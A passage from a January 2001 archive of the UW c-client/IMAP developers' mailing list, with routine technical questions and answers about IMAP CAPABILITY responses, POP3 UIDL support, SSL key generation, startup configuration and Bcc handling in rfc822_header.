[61.132.72.16]) by smtp.263.net (Postfix) with ESMTP id D4670205B4 for ; Tue, 9 Jan 2001 15:13:53 +0800 (CST) Message-Id: <000501c07a0b$eef16400$8b00a8c0@tt> Date: Tue, 9 Jan 2001 15:15:23 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "liuliang" To: Subject: about attachment MIME-Version: 1.0 Content-Type: text/plain; charset="gb2312" Content-Transfer-Encoding: base64 X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Y2FuIHlvdSB0ZWxsIG1lIGhvdyBjYW4gaSBzYXZlIHRoZSBhdHRhY2htZW50IHRvIGEgZmlsZQ0K aW4gbWltZSBmb3JtYXQgdXNpbmcgYy1jbGllbnQgZnVuY3Rpb25zP3RoYW5rcyBhIGxvdC4NCg== -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jan 9 06:55:14 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Jan 2001 06:55:14 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id GAA12192 for ; Tue, 9 Jan 2001 06:55:13 -0800 (PST) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA12454; Tue, 9 Jan 2001 06:55:06 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id GAA21608; Tue, 9 Jan 2001 06:50:58 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id GAA66836 for ; Tue, 9 Jan 2001 06:49:54 -0800 Received: from mail.remsnet.de (mail.remsnet.de [213.69.61.153]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA14332 for ; Tue, 9 Jan 2001 06:49:53 -0800 Received: (from wwwrun@localhost) by mail.remsnet.de (8.10.2/8.9.3) id f09Enl718539 for c-client@u.washington.edu; Tue, 9 Jan 2001 15:49:47 +0100 Message-Id: <979051777.3a5b2501b1373@mail.remsnet.de> Date: Tue, 09 Jan 2001 15:49:37 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Remsnet UW Imap mailingList To: c-client@u.washington.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Authentication-Warning: mail.remsnet.de: wwwrun set sender to rnsimap@mail.remsnet.de using -f X-WebMail-Company: Remsnet Netzwerk Service . X-Originating-IP: 193.194.7.84 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN hello to the mailinglist members, i need some more knowlege to generate the required uw-imap 2000 ssl key--file i Need to know with witch exacatly openssl commands are the keyfile are generated. Kindly regards ------------------------------------------------- This mail sent through Secure Imap server: https://mail.remsnet.de/imp -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jan 9 07:12:26 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 9 Jan 2001 07:12:26 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id HAA02081 for ; Tue, 9 Jan 2001 07:12:25 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA12858; Tue, 9 Jan 2001 07:12:14 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id HAA24938; Tue, 9 Jan 2001 07:03:43 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id HAA64712 for ; Tue, 9 Jan 2001 07:02:37 -0800 Received: from godzilla.ociweb.com (113-72.bestdsl.net [216.162.113.72]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA14426 for ; Tue, 9 Jan 2001 07:02:37 -0800 Received: from merckx.ociweb.com ([132.200.200.114]) by godzilla.ociweb.com (Netscape Mail Server v2.02) with ESMTP id AAA378; Tue, 9 Jan 2001 09:02:34 -0600 Message-Id: Date: Tue, 9 Jan 2001 09:01:49 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: hawley_p@ociweb.com (Patrick Hawley) To: Remsnet UW Imap mailingList Cc: c-client@u.washington.edu Subject: Re: your mail In-Reply-To: <979051777.3a5b2501b1373@mail.remsnet.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 9 Jan 2001, Remsnet UW Imap mailingList wrote: > i need some more knowlege to generate the required > uw-imap 2000 ssl key--file > i Need to know with witch exacatly openssl commands > are the keyfile are generated. This is nicely covered in the modssl FAQ: http://www.modssl.org/docs/2.7/ssl_faq.html#ToC28 From pinedev@shivax2.cac.washington.edu Wed Jan 10 09:40:27 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Jan 2001 09:40:26 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id JAA15616 for ; Wed, 10 Jan 2001 09:40:25 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA26842; Wed, 10 Jan 2001 09:40:23 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id JAA26576; Wed, 10 Jan 2001 09:38:36 -0800 Received: from andrew.triumf.ca (IDENT:root@andrew.Triumf.CA [142.90.106.59]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id JAA39228 for ; Wed, 10 Jan 2001 09:37:13 -0800 Received: from localhost (IDENT:andrew@localhost [127.0.0.1]) by andrew.triumf.ca (8.10.2/8.10.2) with ESMTP id f0AHbCF21537 for ; Wed, 10 Jan 2001 09:37:12 -0800 Message-Id: Date: Wed, 10 Jan 2001 09:37:12 -0800 (PST) Reply-To: Andrew Daviel Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Daviel To: c-client@lists.u.washington.edu Subject: Re: imap-2000 and nsnotify MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 27 Oct 2000, Bernd Wagener wrote: > The nsnotifier ask for the password in a endless loop, the imap-notifier Me, too. nsnotifier seems to be thrown by the (spurious ??) CAPABILITY string returned after LOGIN command. Is this a bug or a feature ? Would it break anything if I commented out pcapability on imapd.c line 399 or whereever ? viz. nsnotifier on IMAP2000 : A1 CAPABILITY * CAPABILITY IMAP4 IMAP4REV1 STARTTLS NAMESPACE IDLE MAILBOX-REFERRALS SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND LOGIN-REFERRALS AUTH=LOGIN A1 OK CAPABILITY completed A2 LOGIN "user" "passwd" * CAPABILITY IMAP4 IMAP4REV1 STARTTLS NAMESPACE IDLE MAILBOX-REFERRALS SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND A2 OK LOGIN COMPLETED A3 LOGOUT and on v12.264 : A1 CAPABILITY * CAPABILITY IMAP4 IMAP4REV1 NAMESPACE IDLE SCAN SORT MAILBOX-REFERRALS LOGIN-REFERRALS AUTH=LOGIN THREAD=ORDEREDSUBJECT A1 OK CAPABILITY completed A2 LOGIN "user" "passwd" A2 OK LOGIN completed A3 EXAMINE INBOX etc. Andrew Daviel TRIUMF From pinedev@shivax2.cac.washington.edu Wed Jan 10 12:02:01 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Jan 2001 12:02:00 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id MAA25054 for ; Wed, 10 Jan 2001 12:01:59 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA32176; Wed, 10 Jan 2001 12:01:57 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id MAA29468; Wed, 10 Jan 2001 12:00:32 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (keil@tomobiki-cho.cac.washington.edu [128.95.135.58]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id LAA10844 for ; Wed, 10 Jan 2001 11:54:34 -0800 Message-Id: Date: Wed, 10 Jan 2001 11:36:56 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Andrew Daviel Cc: c-client@lists.u.washington.edu Subject: Re: imap-2000 and nsnotify In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 10 Jan 2001 09:37:12 -0800 (PST), Andrew Daviel wrote: > nsnotifier seems to be thrown by the (spurious ??) CAPABILITY > string returned after LOGIN command. It's not spurious. Read the latest IMAP base specification draft, which will presently replace RFC 2060. It is valid in RFC 2060, and any client which does not handle it (at least to ignore it) is non-compliant. I don't know why nsnotify is confused. However, a few years ago they told me that they analyzed the greeting string to determine which server, so they could do secret proprietary things. > Is this a bug or a feature ? Would it break anything if I commented out > pcapability on imapd.c line 399 or whereever ? It is a feature. This facility eliminates two RTTs per session for clients which understand it; specifically, two CAPABILITY commands and responses. It is a particular win over radio (says a guy who uses IMAP every day via radio). The effect of removing the facility would be to make new, compliant clients slower. Perhaps it would benefit nsnotify, but there is no need for nsnotify. New mail is automatically notified on IMAP sessions. nsnotify is a holdover from the POP3 world, since POP3 did not announce new mail without making a new session. In my opinion, the correct fix is DEL NSNOTIFY.EXE, on the grounds that it is non-compliant and broken. System managers should especially take this advice to heart, since nsnotify is perhaps the biggest cause of high server load. From pinedev@shivax2.cac.washington.edu Wed Jan 10 15:59:13 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Jan 2001 15:59:12 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id PAA28222 for ; Wed, 10 Jan 2001 15:59:11 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA08515; Wed, 10 Jan 2001 15:59:09 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id PAA23464; Wed, 10 Jan 2001 15:57:30 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id PAA63810 for ; Wed, 10 Jan 2001 15:55:43 -0800 Received: from mailhub.cns.ksu.edu (root@grunt.ksu.ksu.edu [129.130.12.17]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA19473 for ; Wed, 10 Jan 2001 15:55:42 -0800 Received: from unix1 (solarion@unix1.cc.ksu.edu [129.130.12.3]) by mailhub.cns.ksu.edu (8.9.1/8.9.1/mailhub+tar) with SMTP id RAA18730 for ; Wed, 10 Jan 2001 17:55:41 -0600 (CST) Received: by unix1 (SMI-8.6/1.34) id RAA29735; Wed, 10 Jan 2001 17:55:40 -0600 Message-Id: <20010110175540.B29209@ksu.edu> Date: Wed, 10 Jan 2001 17:55:40 -0600 Reply-To: solarion+response@ksu.edu Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Joseph Pingenot To: c-client@u.washington.edu Subject: configuration data Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-School: Kansas State University X-vi-or-emacs: vi X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello. I'm writing an authentication module for the c-client which needs to read in a list of host names from a file. Although this is easy to do in the module itself, is there a good way to get the file read in on server startup? It'd be a whole lot more efficient to do it that way. Thanks! -Joseph -- Joseph Pingenot==========================================solarion@ksu.edu Student Unix Systems Administrator, Tel: +1 785 532 3517 Computing and Networking Services, Fax: +1 785 532 3515 Kansas State University -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 10 16:31:51 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Jan 2001 16:31:50 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id QAA11541 for ; Wed, 10 Jan 2001 16:31:49 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA09724; Wed, 10 Jan 2001 16:31:47 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id QAA20574; Wed, 10 Jan 2001 16:30:08 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id QAA73072 for ; Wed, 10 Jan 2001 16:17:36 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (jgr@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA01554 for ; Wed, 10 Jan 2001 16:17:35 -0800 Message-Id: Date: Wed, 10 Jan 2001 16:13:04 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: solarion+response@ksu.edu Cc: c-client@u.washington.edu Subject: re: configuration data In-Reply-To: <20010110175540.B29209@ksu.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 10 Jan 2001 17:55:40 -0600, Joseph Pingenot wrote: > I'm writing an authentication module for the c-client which needs to read > in a list of host names from a file. Although this is easy to do in the > module itself, is there a good way to get the file read in on server > startup? It'd be a whole lot more efficient to do it that way. Why do you think that it would be "more efficient"? If your authentication module is not called by a session, then reading it at startup would result in a waste of effort. Sounds like less efficient to me. If you're worried about reading in the file multiple times, that is easy to resolve by using once-only code and a static, e.g.: static struct hostlist *list = 0; You would then load the list with something like: if (!list) list = read_in_list (); This guarantees that function read_in_list() is only called once, since in subsequent calls list will be non-null. From pinedev@shivax2.cac.washington.edu Sun Jan 14 19:12:32 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 14 Jan 2001 19:12:32 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id TAA09131 for ; Sun, 14 Jan 2001 19:12:31 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA03672; Sun, 14 Jan 2001 19:12:28 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id TAA33090; Sun, 14 Jan 2001 19:09:34 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id TAA65264 for ; Sun, 14 Jan 2001 19:08:01 -0800 Received: from mr14.vic-remote.bigpond.net.au (mr14.vic-remote.bigpond.net.au [24.192.1.29]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA17370 for ; Sun, 14 Jan 2001 19:07:59 -0800 Received: from mark.mpf.com (CPE-144-132-14-79.vic.bigpond.net.au [144.132.14.79]) by mr14.vic-remote.bigpond.net.au (Pro-8.9.3/8.9.3) with SMTP id OAA21711 for ; Mon, 15 Jan 2001 14:07:52 +1100 (EDT) Message-Id: <01011514055404.07487@mark.mpf.com> Date: Mon, 15 Jan 2001 14:05:54 +0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Lipscombe To: c-client@u.washington.edu Subject: POP3 uid support Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I notice in the bugs.txt file that pop3 uid support is not done. Is this because of some sort of implementation problem? Or is it implemented by a patch or anything? I desperately need this, and I'm about to start writing it myself, just wanted to check that I'm not reinventing the wheel, and there's no major difficulties. Cheers, Mark -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Jan 14 19:22:59 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sun, 14 Jan 2001 19:22:59 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id TAA03540 for ; Sun, 14 Jan 2001 19:22:58 -0800 (PST) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA03836; Sun, 14 Jan 2001 19:22:56 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id TAA08494; Sun, 14 Jan 2001 19:20:16 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id TAA134448 for ; Sun, 14 Jan 2001 19:18:55 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (gibb@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id TAA18058 for ; Sun, 14 Jan 2001 19:18:55 -0800 Message-Id: Date: Sun, 14 Jan 2001 19:15:04 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mark Lipscombe Cc: c-client@u.washington.edu Subject: re: POP3 uid support In-Reply-To: <01011514055404.07487@mark.mpf.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 15 Jan 2001 14:05:54 +0000, Mark Lipscombe wrote: > I notice in the bugs.txt file that pop3 uid support is not done. > Is this because of some sort of implementation problem? Or is it > implemented by a patch or anything? Unlike IMAP, POP3 UIDs are not well-behaved integral values; they're arbitrary strings with no ordering. Many POP3 server implementations use MD5 checksums. So, you would have to keep an additional char* per message, and the only way to use them is to download the entire map with UIDL. It's not hard to do this, but the question is, why waste your time writing new software to use POP3? From pinedev@shivax2.cac.washington.edu Mon Jan 15 07:55:42 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 15 Jan 2001 07:55:41 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id HAA26617 for ; Mon, 15 Jan 2001 07:55:40 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA16975; Mon, 15 Jan 2001 07:55:38 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id HAA18376; Mon, 15 Jan 2001 07:53:59 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id HAA111138 for ; Mon, 15 Jan 2001 07:53:04 -0800 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA27963 for ; Mon, 15 Jan 2001 07:53:02 -0800 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.10.0/jtpda-5.3.3) with ESMTP id f0FFr1q26518 for ; Mon, 15 Jan 2001 16:53:01 +0100 (CET) Received: from seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id f0FFr1318459 for ; Mon, 15 Jan 2001 16:53:01 +0100 (MET) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id QAA25551 ; Mon, 15 Jan 2001 16:51:44 +0100 Message-Id: <200101151551.QAA25551@seth.lpthe.jussieu.fr> Date: Mon, 15 Jan 2001 16:51:26 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim To: c-client@u.washington.edu Subject: re: POP3 uid support In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 14 Jan 2001, Mark Crispin wrote: > On Mon, 15 Jan 2001 14:05:54 +0000, Mark Lipscombe wrote: > > I notice in the bugs.txt file that pop3 uid support is not done. > > Is this because of some sort of implementation problem? Or is it > > implemented by a patch or anything? Hello, I have had to do it in my program (I decided against making a patch to cclient itself knowing what Mark thinks about POP3 :-). It is really trivial, i.e. this is the function I have to retrieve the UIDL for the given msgno (m_MailStream is a POP3 MAILSTREAM): extern "C" { #undef LOCAL // previously defined in other cclient headers #include // for pop3_send_num() } ... if ( pop3_send_num(m_MailStream, "UIDL", msgno) ) { char *reply = ((POP3LOCAL *)m_MailStream->local)->reply; unsigned long msgnoFromUIDL; // RFC says 70 characters max, but avoid buffer overflows just // in case char *buf = new char[strlen(reply) + 1]; if ( (sscanf(reply, "%lu %s", &msgnoFromUIDL, buf) != 2) || (msgnoFromUIDL != msgno) ) { // something is wrong wxLogDebug("Unexpected POP3 server UIDL response to UIDL %lu: %s", msgno, reply); } else // parsed UIDL successfully { uidString = buf; } delete [] buf; } //else: POP3 server doesn't support UIDL probably > It's not hard to do this, but the question is, why waste your time writing new > software to use POP3? Because many people use it and it's quite hard to do anything sensible with POP3 without using UIDLs. Although we all know that IMAP is better it doesn't help a user whose ISP only supports POP3 that much. Sometimes I wonder if the words "real life" mean anything to you, Mark Regards, VZ From pinedev@shivax2.cac.washington.edu Fri Jan 19 05:28:18 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Jan 2001 05:28:17 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id FAA01584 for ; Fri, 19 Jan 2001 05:28:16 -0800 (PST) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA19785; Fri, 19 Jan 2001 05:28:13 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id FAA30332; Fri, 19 Jan 2001 05:23:34 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id FAA85316 for ; Fri, 19 Jan 2001 05:20:58 -0800 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA12336 for ; Fri, 19 Jan 2001 05:20:57 -0800 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.10.0/jtpda-5.3.3) with ESMTP id f0JDKtq74334 for ; Fri, 19 Jan 2001 14:20:56 +0100 (CET) Received: from seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id f0JDKt323269 for ; Fri, 19 Jan 2001 14:20:55 +0100 (MET) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id PAA07172 for c-client@u.washington.edu; Fri, 19 Jan 2001 15:19:24 +0100 Message-Id: Date: Fri, 19 Jan 2001 15:19:24 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: why rfc822_header doesn't write bcc? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Sender: zeitlin@lpthe.jussieu.fr X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, Could someone please explain me the meaning of these lines in rfc822_header() from rfc822.c: /* bcc's are never written... * rfc822_address_line (&header,"bcc",env,env->bcc); */ Just why exactly is the bcc header never written? I am using this function to write message to a temp file and then call sendmail (or whatever local MDA there is) to send it (for the people who don't have or don't want to use SMTP). However I needed to uncomment this line to make the bcc header work at all and now I wonder what bad implications this might have had? Thanks in advance for any help, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jan 19 09:51:30 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Jan 2001 09:51:30 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id JAA18458 for ; Fri, 19 Jan 2001 09:51:29 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA01933; Fri, 19 Jan 2001 09:51:26 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id JAA26104; Fri, 19 Jan 2001 09:43:56 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu 